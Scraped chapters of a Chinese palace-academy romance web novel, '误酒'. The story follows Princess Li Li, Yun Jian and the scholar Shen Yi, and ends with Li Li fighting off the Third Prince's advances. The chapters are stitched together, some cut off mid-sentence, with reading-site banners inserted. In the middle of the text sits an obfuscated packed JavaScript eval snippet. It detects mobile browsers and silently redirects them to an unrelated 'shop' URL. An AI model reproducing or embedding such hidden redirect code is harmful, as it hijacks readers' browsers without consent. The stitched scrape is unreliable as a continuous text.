即使将此事告诉云谏,他又能做什么?说不定只会白白惹得一身骚。 黎梨摸了摸自己的手臂,在大殿内被那人扒下袖子的凉意似乎还黏在皮肤上,心中又觉憋闷几分。 身后一声“好”字适时传来。 她起先还懵了会儿,好什么?然后就听见了窣窣的穿衣动静,云谏整理好衣裳,直接抬步往外走。 ……他真的就这么走了? 黎梨一愣,掀被坐起,果然看到少年毫不留情的背影。 “云谏。”她下意识喊了声。 云谏停住脚步回头看,梁上垂落的帘纱遮住他的小半张脸,重叠阴影之下看不清神情,但显然在等她说话。 黎梨张了张嘴,却说不出什么。 分明是她赶人的,他真的听了,真的走得干脆,她为何觉得不痛快? 有什么好不痛快的,他们三天两头吵架的关系,难不成真指望他做做样子,多关心两句吗? 黎梨扁扁嘴,只闷闷不乐“哼”了声,又倒回床,是真的不看他了。 云谏静静看了她少许,推门出去,碰巧迎面遇上院里的侍从。 青琼忙活一通,总算备好了解酒汤药,这才后知后觉发现留了自家郡主与外男独处。 她领着人,脚步快得似抹油,在廊外远远看见云谏出了房,瞧着衣冠无异,才稍松一口气。 她匆匆行了礼想经过,却被云谏叫住了。 “你们院里,今夜是谁陪她去参加宴席的?” 青琼不知缘由,迟疑答道:“是紫瑶……还未回来呢,许是玉堂殿有事留下了。” 云谏“嗯”了声,侧眼看着沉黑的房门洞口,到底有些无奈。 无所谓,她不说,他可以问别人。 云谏转身向玉堂殿,没两步又驻足,给青琼丢了个细白瓷瓶。 “让她每夜吃一粒。” “清梦的。” * 黎梨往后数日都过得称心如意。 祭奠祈福已经结束,小雨连绵,农桑有补,世家子女们也用不着再吃斋净宿,都从行宫搬了回家。 黎梨也回到姨母的公主府,到底是住惯的地方叫人舒服,加之得了那清梦的药,总算可以睡个好觉,连着几日下来,小脸都养得净透红润了不少。 但她的好日子并没有持续多久。 紫瑶与青琼在一个凌晨摇醒了她,黎梨睡眼惺忪,只瞧见满屋子的灯烛,东方天际仍然昏暗,她稀里糊涂被架起梳洗更衣,待她清醒过来时,人已经在马车上了。 黎梨看着车窗外往后退去的京城楼幢,双目空空:“……这是?” “郡主你忘了么,休沐过了,今日得回学府了!” 黎梨晴天霹雳:可她才休了几天啊! 小郡主顿时蔫了,无精打采地耷拉在车窗边上,紫瑶不放心地嘱咐道:“刘掌教三朝太傅,规矩最严,素来不喜世家豪奢作派。” “届时我与青琼等人不能随你住在舍馆,郡主若是遇到什么问题,定要及时差个小书童来外院找我们才是……” 她事无巨细样样说了一遍,听得青琼都打起了盹,黎梨恨不得立即伤病一场,能回公主府再享几日福。 她仔细看着车窗外,琢磨着此刻跳窗会不会疼,但是看着看着目光就凝实了起来。 “停车。” 上学府的山道,除了公主府这架轩敞马车,还有一架颇低调的车驾停在路边。 前几日多雨,山道泥淖未干,那架马车半边轱辘陷入了泥水里,两位车夫正赶着马儿蹬路,瞧起来至少得费一番工夫。 有道颀长人影立在一旁等着。 黎梨静视那人片刻,放下帘子道:“请他上车吧。” 紫瑶等人出去不多时,马车略微一沉,就有人弯腰跨进了车厢:“多谢这位……” 他一抬头看清车厢里的人,笑容就僵了,道谢的话语也卡在半空,局促得好像下一刻就想转身跳下车。 黎梨微微笑了笑:“沈探花,坐吧。” 沈弈应了刘掌教的约,需在学府待上一段时间,没料想马车会卡在上山半途,更没想到过路要捎上他一程的好心人会是黎梨。 初次见面不算得体,再见总有些尴尬。 只是见黎梨面色从容,他也不好再扭捏,便挑了她对面坐下。 “实在是多谢郡主出手相助。” 隔了几日被他发现身份,倒也不算奇怪,黎梨随意点点头,认真打量起对方那张清秀文气的书生脸。 云谏怎么会觉得这书生比他好看呢?分明—— 等等,这时候想起他做什么? 黎梨清瘟似的,连忙晃了晃脑袋。 对面的沈弈本就警惕着,乍然见她动作变大,即时惊弓之鸟般靠上了车厢,紧紧捂住自己的领口。 黎梨:。 她嘴角微抽了下,她若真想看些什么,犯得着看他? 她可见过更好的!那人自幼习武,身上处处都—— 等等! 这时候又想起他做什么! 黎梨受不了这种诡异感觉了,直截了当打破了沉默:“沈探花,你不必害怕,先前我确实是想让你解开些扣子来着。” “但那只是为了你颈间的链子。” 在对方惊疑不定的目光中,她轻声问:“朝珠……” “我的朝珠是在你那儿吗?” * 七年前胡虏全军来犯,大弘西北城防摇摇欲坠,连月战事之下,最先告急的便是军饷。 彼时圣上应机立断,掏空国库购粮西送,京城的世家豪族们也毫不惜力,各自筹了民粮往西北前线送去。 那一年黎梨刚满十岁,看着大人们终日面色沉重,她也隐约明白了些战争的意味。 大概是令人焦虑、惶恐、不安的。 当时锦嘉长公主尚在,公主府自然也筹了粮,眼瞧着父兄奔走,年幼的黎梨也想帮一些忙。 但她人小力轻,没有人会真正需要她,于是想了又想,她裁下了自己的朝服冠珠。 郡主朝服,曾在宗继龙脉之下受天家颁礼,自有宗室尊荣气度,顶冠的朝珠不仅仅象征着皇亲身份,更蕴含着王朝祖上对子孙后裔的祝福。 她想将这份祝福送给西北边关。 这大概是十岁的黎梨最拿得出手的东西了。 她亲自绞了彩丝金线,搓了细绳,串起朝珠,然后把它塞进一袋装满干饼的民粮里,万盼着它会跨过遥遥河山,去到西北将士们的手上。 至于因为私自裁剪朝服冠珠,此举太过不敬出格,她又如何领了好一顿罚,那就是后话了…… “那日在亭子外,我看到你颈间似乎挂着几枚圆珠。” 黎梨耐心道:“我幼时娇纵挑剔,圣上为我选的朝珠材质十分特殊,夜间浮光细闪,你颈间珠串的光泽,实在有些相似……” 若没记错的话,这位探花郎故籍在苍梧,正是西北边关的五城之一,说不定那朝珠装在干饼袋子里,兜兜转转去到他的手上…… “那珠串,竟然出自郡主之手!” 沈弈听着,大惊之下腾地立起,险些“哐”地撞上车厢顶。 黎梨连忙将他拉到自己身边,高兴道:“真在你这儿?” “不不不,当然不是。”沈弈神色激动,却连连摆手。 眼见着黎梨不解,他稍一犹豫还是背过身松了领子,将颈上的珠串解下,递给她细看。 黎梨认真端详着,听他说起由来。 当年那场戍边战役拉锯极久,在最紧要的关头,京城援赠的军资到了。 久战消耗极大,大批量的军饷援助无异于一块镇山之石,结结实实地填满了将士们的心窝,一时之间大弘军队士气大振,屡战屡胜,接连夺回失城。 最后一座城池便是苍梧,鏖战七日后,一支先锋小队趁夜从侧边破了胡虏的死守,为大弘军队打开了苍梧的城门。 有位小将士挺身伫立在城墙之上,一身银盔沾沙带血,看不清模样,但手上绕着一串金线玄珠,连发箭矢射穿八 15. 生疏 《误酒》全本免费阅读 车窗内黎梨也是怔了怔。 只是见他压得极黑的眉骨阴影,她心底那点子郁闷也丝丝蔓蔓攀升出来,好像二人之间画了道嫌隙的中线,隔了远远一段距离。 他不言不语,黎梨索性松手放下了车帘。 外头的马蹄声稍滞两息,又是一道马鞭扬尘的声响。 黎梨搭在窗框边上的手指微动了动,直到马车停稳,紫瑶提示下车,她才回过神来。 同窗们几日未见,都聚在学府门前说笑,官家闺秀们见着黎梨下车,纷纷招手:“就知道你要晚来……” 众人的话音,在沈弈身影出现的刹那诡异停住。 沈弈遥遥朝黎梨这边拱手行了谢礼,而后才转身去找刘掌教。 有几位少年诧异道:“沈探花怎么会与郡主同车?” 吏部尚书家的小女儿率先反应,一把将黎梨拉进女孩堆里,揶揄道:“好你个迟迟,太不够意思了,你何时与沈探花关系如此好了?为何不同我们说?” 黎梨:“倒也不算……” “他人如何?”太常寺寺丞的千金兴致勃勃道:“我听父亲说他文章做得好,丹青也妙,可有过誉?” 想起他说画了许多哥哥的故事画册,黎梨私心就偏了:“我还没看过,但我想应该不会差的。” 众人笑了:“你这般挑剔都夸他,想必他有些真本事。” 女孩们笑在一处,黎梨在左右拥围中本该觉得热闹,却意外地有些不自在。 她顺着感觉侧过头,就与不远处的少年对上了视线。 那边的儿郎堆里,云谏站在人群中央,仿佛听不见身旁伙伴们的嬉笑说闹,一双清洌的琥珀眸子静静看着她。 ……看什么看。 黎梨闷闷转过头。 没事的时候看个没完,有事的时候连个关心话都不多两句,男人真是没一个好东西。 身边的小姐妹们拉住她:“听说沈探花在学府里设了书斋,你与他关系好,且带我们过去瞧瞧?” 迎着姑娘们亮晶晶的眼神,黎梨装着感受不到身后的视线,故作轻松道:“好啊。” 正巧去借几本画册看看。 少女们说着就要走,花飞蝶舞的裙摆热烈凑到一处,忽又极有分寸地散开,盈盈行起礼来。 “五殿下。” 只见山门口匆匆跑入一匹乌棕宝马,银白衣裳的少年一跃而下,大步跨来:“不必多礼!” 萧玳飞快越过贵女们,顺道胡乱揉了把黎梨的脑袋,步子却不带停地直奔儿郎丛中。 “云二!我才办完差事回来,可听说你干的好事了!” 黎梨原本梳得妥帖的额发被揉得翘起,正恼火地理了两下,就远远听见他急如风火的声音: “他们说你打断了老三的手!此事当真?” 黎梨吃了一惊,回头就听见有人应了:“我们正想说这事呢!” “听闻昨日西场的校尉考试,云二原本抽了极好的一支签,可以轮空免试一轮,可他偏将那签子与旁人换了,硬要与三殿下比上一场……” 后头有位少年挤上前来,兴奋道:“我知道!我当时在场,看得可清楚!” 他环顾一下四周,稍微压低了声:“谁不知晓咱们三殿下文武不就的?当时所有人都以为云二会照看着天家颜面,让他输得体面些。” “谁知云二登上台,金锣声还未止就一棍敲碎了三殿下的左手臂骨,断骨声大得台下都听得见!甚至没给对方认输的机会!” 几人啧啧称道,推着云谏道:“你也太狂了些,听说若不是在场教习拦得快,你还想打?” 云谏随意点了点头,凉声道:“可惜了。” “休要胡说!”萧玳连忙挥手叫他噤声,“武试时无心之失也就罢了,你也不怕叫我父皇听见了生气!” 云谏不甚在意地拂开他的手,目光稍移。在他看过来的前一刻,黎梨按住乱了拍子的心跳,慌忙转回了头。 ……他故意换了签子? 为什么? 旁边的姑娘们犹在拉她:“走吧,到沈探花的书斋看看去。” 黎梨胡乱应了,心中思绪扭成了一团麻,甚至不知道该不该回头看一眼。 姑娘们甫一离开,学府门前便空了大半,萧玳也拍拍云谏:“走吗?去马场跑两圈。” 云谏望着那道径直去往书斋的身影,再不遮掩眼底暗色,冷着脸转身:“不去,我去练剑。” 他步子迈得大,几步就走远,遇见一根斜出挡道的树枝,也不转弯,直接出鞘一剑劈断了它,可怜的树梢被剑力晃得上下抖了几抖,落了满地的叶片。 少年们站在原地面面相觑:“他吃火药了?” 萧玳“啧”了声:“……将门虎子,戾气就是重。” * 日暮西沉时,黎梨回到舍馆,看到了乌漆漆的一片黑。 学府规矩多,寝室专供休憩,不许点灯夜玩。 在外头潇洒了几天,白日同窗相伴也算热闹,如今一入夜,学府的乏味枯燥便彰显了出来。 黎梨梳洗完想早些入睡,却辗转良久,稍一翻身,又摸到了自己的手臂。 ……那日在外殿感受到的凉意,已经消失无踪了。 她枕着满榻的月光,缓缓睁开双眼。 云谏出自将门,自是要走武将的路子,不可能不想赢那场校尉武试。 好端端的,他非要舍了更好的签子,去与萧煜珏比上一场,还出手就是打断臂骨的狠招…… 饶是黎梨迟钝,也隐约明白,这事可能真与她有些关系。 想起这些日子给他甩的脸色,黎梨叹了口气,更睡不着了。 她摸出日间在书斋借的书册,就着月光翻了翻,是几本边关游记,配文插图都是沈弈的手笔,描绘得栩栩如生。 横竖睡不着觉,她磨蹭了片刻,终是点起灯笼,抱着几本册子出了舍馆。 云谏提着半截剑从习武场回来时,便是在学府的六角草亭外撞见她。 光影朦胧的灯笼放在石桌边,小郡主将墨发随意束起,发辫乖巧垂下肩头,即使身边没人,肩背也端得平直,远远望去,天家仪态无可指摘。 光是看着她的模样,谁都猜不出她是个不安分的主儿,性子又娇又蛮,像只野猫,不知怎的就会触到她的霉头,叫她板着脸甩几尾巴。 云谏远远驻足,他实打实练了一日的剑,全然没收着力度,铁剑撞断了半截,手腕也隐隐酸胀。 但总有别的酸意叫他更加在意。 几日不见,她与那姓沈的倒是走近了不少。 ……他认识她七年,都没坐过她的马车,那姓沈的来京才几日? 云谏没什么表情,看了她片刻,忽而眸光微凝,迅速挑起块小石,扬手就朝黎梨那边掷去。 黎梨好好地坐在亭中,只觉忽然有个坚硬物什蓦地擦身飞过,“啪”地一声砸落地面。 她惊然抬头,却听见几道毛骨悚然的窸窣声响,余光里有个花花绿绿的细长条东西,飞快扭身爬行着离开她的脚边,转眼就窜进了草丛里。 黎梨吓得站起,终于明白方才鞋尖处若隐若现的油滑摩擦感是什么东西,她起了一身的鸡皮疙瘩,看着亭子四周墨沉沉的草簇,再不敢挪动一步。 有人大步跨进了草亭,一把拎过灯笼仔仔细细翻照她的裙子:“有没有被咬到?有没有哪里觉得疼?” “……没有。” 黎梨看清来人,紧绷的神经骤然松了,苦巴着小脸就想靠近他。 云谏仍觉后怕,想起方才那条盘旋在她鞋边的利齿畜生,开口就压不住情绪:“亭子里夜晚很多蛇,你什么时候长的胆子,竟敢一个人坐在这里?” 黎梨听出他语调里的愠气,刚迈出的步子又默默缩了回去:“我不知道这里有蛇……” 云谏见状稍微一顿,低头闷声给她捡起桌上的书册:“我送你回去。” 山间月色清皎,灯影如萤,一高一低两道身影走在小道上。 少年武袍轻便,长腿迈得利落,两步拉开距离后又反应过来,放慢了步子迁就身后的少女,琉璃灯笼有意无意照着她脚下的路。 莫名的生疏垒在中间,像一堵透明的墙。 他放慢几步,她就走得更慢,就是拖拖拉 16. 破相 《误酒》全本免费阅读 云谏提示道:“两年前萧玳的生辰宴,你投壶输了之后,去做什么了?” 黎梨下意识就撑起身子:“我投壶输了?不可能!谁赢得了我?” 云谏:“……我赢的。” 黎梨不敢置信:“我投壶很厉害,你能赢我?” 云谏:“在用箭上面,十岁之后我就没输过……不是,你到底还猜不猜了?” “哦。”黎梨又趴了回去。 她绞尽脑汁地回想,可是每年参加的宴席没有一百也有五十,关于两年前的生辰宴,记忆实在模糊得很。 黎梨想不起来了,闷头埋在他肩上,挑着他领口的云纹暗绣玩。 云谏颈边细细微微地发痒,他了然笑了下,从善如流接道:“你当时很不高兴,坐在树下生闷气,结果睡着了……” 他好像又看到了那个坐在树下气鼓鼓揪草根的少女,话音便像当时穿过层层繁茂叶片的阳光一般,落下得温和又清朗。 “你可记得你醒来后见到了谁?” 醒来……见到了谁…… 黎梨的意识骤然撞入那个午后,和风舒畅,她倚着楸树,迷蒙蒙坠入甜梦中。 她是被几道尖叫声惊醒的。 当时一睁开眼,她就见到四周乱成了一团,有人捂着嘴惊恐后退,有人心急如焚奔上前来的,还有一人就在她的咫尺之间—— 云谏。 彼时的少年半跪在她身前,一手狼狈地撑着树,另一手紧紧攥着一条死状惨烈的蛇。 那蛇的口角被他徒手掰裂,鲜血溅得他半张脸都是,衬得他活似尊玉面罗刹。 黎梨以为他身上都是蛇的血。 时至今夜,她借着荧光灿烂的琉璃灯笼,看见他左耳的缝合疤痕,她才恍惚发觉,原来那一身都是他自己的血。 黎梨忽然不知道该说些什么才好。 那些年她并不在意他,从未想过他为何会出现在自己面前,也从未想过那蛇是怎么一回事。 她亲眼见到他的狼狈,却没有兴趣过问半句。 甚至忽略了最重要的一点,他受的伤,可能与她有关。 云谏嗓音悠悠地说道:“那日宴会宾客如云,人来人往,你却倚树睡得香甜,毫不设防,我只得在不远处守着你……” 但是发现蛇的时候已经晚了,饶是云谏飞身再快,却也只能掐住蛇身的后半截。 那蛇原是奔着树下的少女去的,猝然被碍事的人拉住往后拖,当即愤然反身一口咬了上去。 云谏话语平静,似乎那样的惊险并非发生在自己身上:“我躲闪不及,被它咬住了左耳。” “那畜生好大的蛮力,两下扭身就撕了我半只耳朵,我只得硬掰开它的口……” 剩下的他没再说,黎梨也知道了。 她搭在他领口上的手指渐渐蜷了起来。 她想起那日云谏见她醒来,其实下意识将手里的蛇尸藏到了身后,他张过口,似乎想对她说些什么。 但当时的黎梨被他的骇人模样吓得不轻,都不知道是怎么起的身,转瞬就扑到了闻声赶来的安煦怀里,再没回头看过他一眼。 他就在她身后,没再说一句话。 月光悄然埋入层云后,山间的小道就剩下二人身前那盏沉默的荧灯。 少年背着她,稳稳踏过一级级石阶,穿过幽深花林,终于来到了舍馆的绕墙烛光下。 云谏将她放下,示意她进去。 黎梨没有走,两根青葱的手指捻在他的袖子边上,一下下地将那笔挺的好布料揉出褶痕。 她肆意惯了,今日却第一次觉得自己好没道理。 三皇子那事,他不过少问了两句,她都要委屈上一场,那当时他满脸是血,却眼见着自己毫不关心地抽身离开,他该是何感受? 一时之 17. 哥哥 翌日,学府习武场。 临近早课时间,晨训完的少年们陆续回去梳洗备课,习武场上最后两道身影也一前一后跃下了台。 两人箭袖扎得随意,额间还带着些许晶莹汗珠,下了台也相互推搡两下,还没打够似的。 萧玳忿忿不平:“往日刀对刀,枪对枪,输了也就罢了……你今日拿个木剑来,是想羞辱我吗?” 云谏掂了掂手里的木头剑,言简意赅:“我的铁剑昨日断了。” 萧玳不满:“赶紧回城换一把去。” 云谏:“没有时间。” 萧玳又气又好笑:“没时间?” “平日你与迟迟半斤八两,逮着机会就要回城待几天,如今有个这么好的下山理由放你跟前,你竟然说没时间?” “云二,你是鬼上身了还是转性了?” 云谏懒洋洋道:“我现在就想待在学府里,哪也不想去。” 话正说着,有道娇娇俏俏的浅色身影穿过林木边的拱门,悠哉悠哉朝这边过来。 萧玳立即忘了被鬼上身的好兄弟,灿烂挥手道:“迟迟来了?” 他大咧咧地朝黎梨伸出手,十分习以为常的模样。 学府里刘掌教最厌世家做派,这边的学子不论门第高低,都不得往舍馆里带奴仆伺候,凡事都得自己动手。 像餐食这样的寻常事,也是要自己去食馆里领的。 萧玳多少有些贪武,晨训总是拖到最后才走,时常赶不上食馆放早膳的时间,黎梨见他总是饿着肚子上早课,到底于心不忍,便总会多领一份留给他。 “来了。” 黎梨站定开了食盒,摸出油纸包裹递给他:“趁热吃,待会还得上早课呢。” 萧玳接过那个暖烘烘的包裹,打开就看见一张油汪汪的葱饼,当即感动得抹了一下眼角:“这就是有妹妹的好处!” 方才被云谏拿着木剑按在地上揍的耻辱也一扫而空,他大发慈悲地看向对方:“你也没吃,我分你一半。” 云谏:“不必。” 以往这样的时刻也常有,黎梨给萧玳送完餐,就该转身走了。 但她今日站在原地踌躇好一会儿,终究还是在云谏的目光里,又摸出个油纸包裹来,慢吞吞地递给他。 “我顺道也给你拿了一份。” 云谏说不出是什么感觉,一时之间“苦尽甘来”、“水滴石穿”、“功不唐捐”之类的词语都乱七八糟往脑子里过了一遍。 他灿然笑开,接了过来。 萧玳往日时常奔波于给这二人劝架,难得见到如此和谐的一幕,忍不住慨然:“我劝和的工夫真是没有白费啊……” 他同云谏调侃道:“都是沾了我的光,你才有这份早膳吃!” “我瞧瞧,她给你带了什么?” 黎梨老实道:“包子。” 萧玳立时一噎:“……你给我带个饼,却给他带包子?” 他不敢置信,扒开云谏手里的油纸,一看更气了:“还是肉馅的?” “还两个?” 黎梨意识到有些偏颇了,心虚地摸摸鼻子:“五哥,不是不想给你带,只是太多了不好拿……” 萧玳气笑了:“不好拿?你但凡把他油纸里的肉包子分我一个呢?” 黎梨:“……”实在没想过。 云谏唇角的弧度险些压不下去,只推开萧玳道:“行了行了,堂堂五皇子,为了个肉包子在这儿掰扯,也不怕丢人。” “不是说新舍馆离得远了,梳洗更衣费时间?还不快些回去?” 萧玳嘟嘟囔囔,不情不愿走了。 云谏转回视线,发现身前的姑娘眼也不眨地看着自己手里的木剑。 ……七尺男儿,提着把灰扑扑的学童木剑,看起来是不够硬气,她不会觉得他很滑稽吧? 云谏不自在地将木剑往身后藏:“我先回去?” 黎梨直言道:“好丑。” 云谏:…… 比觉得他滑稽还要惨。 绝对不能因为一把破剑,就让她觉得他不好看了,云谏痛定思痛:“我现在就回城换一把新剑……” “不用,我帮你。” 黎梨笑眯眯地解下一根发带,叫他把木剑拿出来,亲自往剑柄上绕了几圈,绑好后略一打量,她得意道:“你看,是不是好多了?” 云谏望着手里灰扑扑的,还缠上了绣花绸带,多了个粉色蝴蝶结的木剑:“……” 半晌后他昧着良心应道:“确实好看多了。” 黎梨满意了:“回去梳洗吧。” * 早课是堂抄经课。 大弘今春峭寒,今夏雨罕,各省乡都上报了庄稼收成不良、田家凶岁疾苦的问题。 圣上怜惜百姓,从本就不富裕的国库中拨了大半银两扶农安民,又令百官与生徒亲抄佛经,为田稷祈福。 黎梨他们所处的望日学府就在天子脚下,自然也是要抄的。 云谏收拾利索,来到学府的讲经堂,入门就见萧玳吊儿郎当地倚在一张长桌边上。 后着显然还在记仇,左一眼瞧见他腰间那把花里胡哨的木剑,右一嘴就开始阴阳怪气:“云二,相识这么久了,我竟不知道你的品味如此独特呢?” 云谏很平静:“你不知道的事多了去了,比如说……” 他悠悠挑起眉梢:“你应该不知道今日的肉包子有多好吃吧?” 萧玳:“……”哪壶不开提哪壶!这该死的王八蛋! 二人绕到桌案后坐下,讲经堂内乌梁高悬,数道缥缈虚幻的帘纱自高梁垂下,无风成浪,在缭绕檀香里似云似雾,自有一派玄妙莫测的意味。 学子们的座位都被垂挂的帘纱影影分隔开,看不清彼此的模样,谈话声便少了,于是除了轻微的灯花燃爆与纸笔摩擦声,讲经堂安静得落针可闻。 直到不知过了多久,有人去净手回来,懵着神说了句: “我方才看到三皇子殿下的车架了……” 此言如投石入镜湖,一下就打破了讲经堂的静谧。 许多同窗都抬起了头,诧异道:“三殿下?他不是才被云二打断了手吗?” “对呀,他不在府中好好休养,这么着急回来做什么?” 好几人掀起帘幔去看向来与萧煜珏交好的卫瑞,后者也是一脸茫然:“我也不清楚,只是……” “殿下若是回了学府,怎么不见来这儿上课,他去哪了?” 云谏心头忽然沉了下,他搁下纸笔,低声唤了两句“黎梨”。 没人应答。 他意识到不对,腾地起身,绕了讲经堂转了一圈,将逐道帘幔都掀开来看,终于发现黎梨并不在这。 云谏眼神变了,话都没丢下一句就快步往外走。 看得萧玳直犯糊涂:“哎,你……” 反倒是后头的卫瑞,隐约琢磨出些什么,磨蹭片刻后悄声跟了上去。 * 讲经堂闹得乱时,黎梨正好好地待在学府的南书斋里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12852912|134588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学府的自由时间不多,夜间又不准在舍馆点灯,她只能在白日里寻机翻翻新得的画册。 像抄经这种刘掌教不会亲自看管的课,当然是能不上就不上,尤其是听沈弈说他整理出了哥哥的画册后,她逃课逃得更干脆了。 沈弈折起了袖子,将一筐筐画卷往书斋里面搬,又目别汇分地逐一码好,整整齐齐地摞成堆。 他弯腰收拾得仔细,由着黎梨在身后随意打量:“行装太多,劳烦郡主稍微等一下……” 黎梨仰头转脑看着满墙满柜的书画,面对这样可观的数目也是觉得吃惊的:“他们都说你精于工笔,我还当是奉承,如今亲眼看见你下的苦功,才知是我先前低眼轻看了。” 沈弈并不在意:“边城消遣不多,只是凭两管狼毫自娱自乐罢了,谈不上什么工笔苦功。” 黎梨见他低敛着眉眼,分外耐心地为一卷景图拂去浮尘,便也凑上去看。 只见四尺余长的画卷上,弯月如钩,古朴肃穆的城墙庄严伫立,墙头上的帅旗丝绶猎猎飘展,透着万钧威压,不容进犯地守在黄沙关隘之上。 是苍榆的城关图。 黎梨想起他说的那个故事,有位小将士银甲沾沙带血,手上缠着她的朝珠,就在这儿踏着沉夜挽弓向敌。 她伸手轻轻抚过城墙一角,仿佛能隔着画卷听到那夜的号角金鼓。 “这样的画作,藏在库中实在可惜,真该叫多些人看见。” 沈弈展颜笑道:“我正托了人在京中找个合适的场所办画廊呢。” 他颇爱惜地摩挲着画卷卷轴:“留在我这儿也是吃灰,倒不如放到画廊上,寻个有缘人,一则让京中百姓看看边城风光,二则……” 沈弈的神情有些赧然:“卖些银钱,寄回苍榆,补贴一下当地的书塾……” 他似自语般轻声说道:“战乱之地,办学十分不易的。” 黎梨觉得有些意外。 读书人难免清高,恨不得将“视钱财如粪土”写在脸上,她还是第一次听人这么坦然地说,要将自己的字画拿出去卖钱。 沈弈彷若看不到她的微讶,板板正正地卷好景图,又抽了一卷新的画出来。 他才展开两寸,意识到里面画的是什么,又咧出笑容:“这幅画,是我想赠予郡主的,当作那日乘车的谢礼了。” 他铺开画卷。 一张意气轩昂的青年面容跃然而出。 黎梨怔怔地望着那张熟悉又陌生的脸庞,久久不出声。 一别七年,曾经将她抱在臂弯、背在背上,带着她到京郊摸鱼踩水的无拘少年,如今已然褪去青涩,被边关黄沙打磨得眉宇沉稳。 她探出手,抚上青年的桃花眼,看见下方多了道不知何时添的寸长伤疤,黎梨一低睫就簌簌落下泪来。 这是她第一次见到哥哥成年后的相貌。 沈弈看着默自掉小珍珠的少女,又开始头疼:“郡主……” 这时,有个小书童探出脑袋解救了他:“沈公子,刘掌教请你去一趟。” 沈弈如蒙大赦,胡乱往黎梨手里塞了张帕子:“郡主别太难过,再看看别的画吧,我去去就回!” 书斋里很快便空落了下来,黎梨攥着帕子好一会儿,才默默拭去眼泪,又仔仔细细擦净了手,将哥哥的画卷小心收起。 一道脚步声恰时传来。 黎梨绑着画卷的绳索,没有回头:“这么快回来了?” 有道阴测测的声音应了:“是啊。” “表妹。” 18. 俯视 黎梨心里一咯噔,马上转过了身。 萧煜珏彷若看不到她的警惕,分外自洽地跨进门。 黎梨拧起眉,只见他左手被绷带吊在脖子上,行动不见得多么便捷,但那一双狗眼还是黏糊糊地在她身上转,俨然一副贼心不死的模样。 果然,萧煜珏轻佻地开了口:“表妹可有想我?” 黎梨缓缓握紧了手中的画卷,反问道:“三殿下受了伤,怎么不在府中多休养几日?” 提起这伤,萧玳眼神略微变了变,很快又冷哼一声:“区区一点小伤,何需休养,又不耽误我行事。” 他眼神颇放肆地扫了黎梨两圈,嘴边的筋肉意味不明地挑起。 堂堂王朝郡主,又生了这样一副月闭花羞的好颜色,纵是她想嫁个皇子,想当个未来皇后都使得,可她便要自甘堕落,陷入那污糟淤泥里! 他摇头啧了两声:“表妹,你我也算自幼一起长大的,情份自不必说,你向来顽劣,出格之事屡做不休,如今更是……” 萧煜珏恨铁不成钢地叹一口气,信手就推拢了房门,一步步朝黎梨走去。 “但我终究是你表哥,自当庇护包容你的年幼无知,也该替你遮掩一番,好保全皇室的脸面……” 黎梨听得莫名其妙:“你在说什么胡话?” 二人泾渭分明,她何曾用得着他来庇护包容? 萧煜珏停在她面前,一错不错地盯着她,居高的视线向下探,好像顺着那截雪白的脖颈,能直接钻到衣领里去。 黎梨不由得后退了两步。 “表妹,我就直说了,”萧煜珏也不在意,兀自接道,“下个月皇子府要扩建,后院也要补修一番,在那之后……” “你可愿意入我府中?” 黎梨在原地愣了两息,耳内回响着他那句“入我府中”,好半晌才反应过来。 她怒极反笑,嘲道:“三殿下好大的排场,什么话都敢说,你是在叫我予你作妾?” 若是往日见她生气,萧煜珏早就想要鞠躬作揖地将她哄上一番了,但今时今日,萧煜珏每每望过她的手臂,想起那纸一般的空白,都想批她一句不识好歹。 他冷笑了声:“作妾怎么了?表妹别自视太高了。” “以你现在的情况,议亲何其困难,就连在皇子府中做个侍妾都不够格!但我顾念着以往的情分,不愿委屈了你,才为你留了个侧妃之位,你若聪明,就该赶紧应了才是。” “莫要再和我玩这些欲擒故纵的小把戏了。” “……” 这人到底是哪里来的自信! 黎梨嘴角抽了抽,再也不想看他,直接绕过他就往房门处去:“自视太高的,应该是三殿下你自己吧?” “我什么样的情况,是好是坏都是我自己的事情,与你没有任何关系,轮不到你来对我指手划脚。” “三殿下若是闲得发慌,不如快些养好了手去练练武吧,省得以后又被人一棍子打残,那才真是丢了皇室的脸面呢!” 说着她就要从萧煜珏身边经过,但一道蛮力突然袭来,紧紧钳住她的胳膊,用力一甩就将她甩到了桌案边上。 黎梨撞到后腰,一阵钝痛,险些直不起身,撑住桌子才勉强站稳。 萧煜珏笑得狰狞,大步跨上前来就要按住她:“我是练武不成,但制住你一个丫头片子还是轻而易举的!” 黎梨气得眼里冒火:“你当丫头片子就好欺负了?” 话说得厉害,但一个柔枝嫩条的姑娘家,能不好欺负吗?萧煜珏毫不在意,粗声粗气压了下去:“表妹就是喜欢嘴硬——” 谁知黎梨反手往桌面上胡乱一摸,抽来一只紫竹笔筒,对着他脑袋就凶巴巴地砸了过去。 萧煜珏预想过她受了这顿惊吓,可能会哭会骂,但没想到她竟然会动手,一不留神就被正正地砸了个眼冒金星,仰脸踉跄着往后栽了个跟头。 黎梨还不解气,回头又抄起了方沉甸甸的砚台,气势汹汹上前,二话不说就沉下膝压紧了他的胸腹。 “让你大言不惭,还敢推我……” 她费劲提着那方沉砚,正比划着要在哪里给再他补一下,身后忽然多了些声响。 黎梨还没反应过来,就感觉腰间一紧,有人在后面将她实实在在地搂进了怀中。 萧煜珏的帮手? 身后那人长臂一探就从她手中抽出了砚台,她慌了神,下意识想要挣扎,一侧头却闻到了熟悉的清淡花香。 黎梨心神恍惚了一瞬,身子却早已自然而然地转了过去,勾手抱住了他的肩,任那安心的花香气将她整个人笼罩住。 云谏的声音落到耳边:“打人,要往痛处打。” 少年毫不吝惜力气,提起砚台就狠戾地抡到萧煜珏左臂上。 惨叫声冲上屋顶,黎梨眼睁睁看着萧煜珏绷带缠绕的左臂折出一个尖锐的角度,鲜艳的血色立即染红了绷带。 显然,才接好的骨头又断得惨烈。 云谏扣着她的后脑勺叫她别看,还要去拿那方砚台,黎梨忙不迭地推了他起来:“一下就好,别出人命了!” “我的手!啊——” 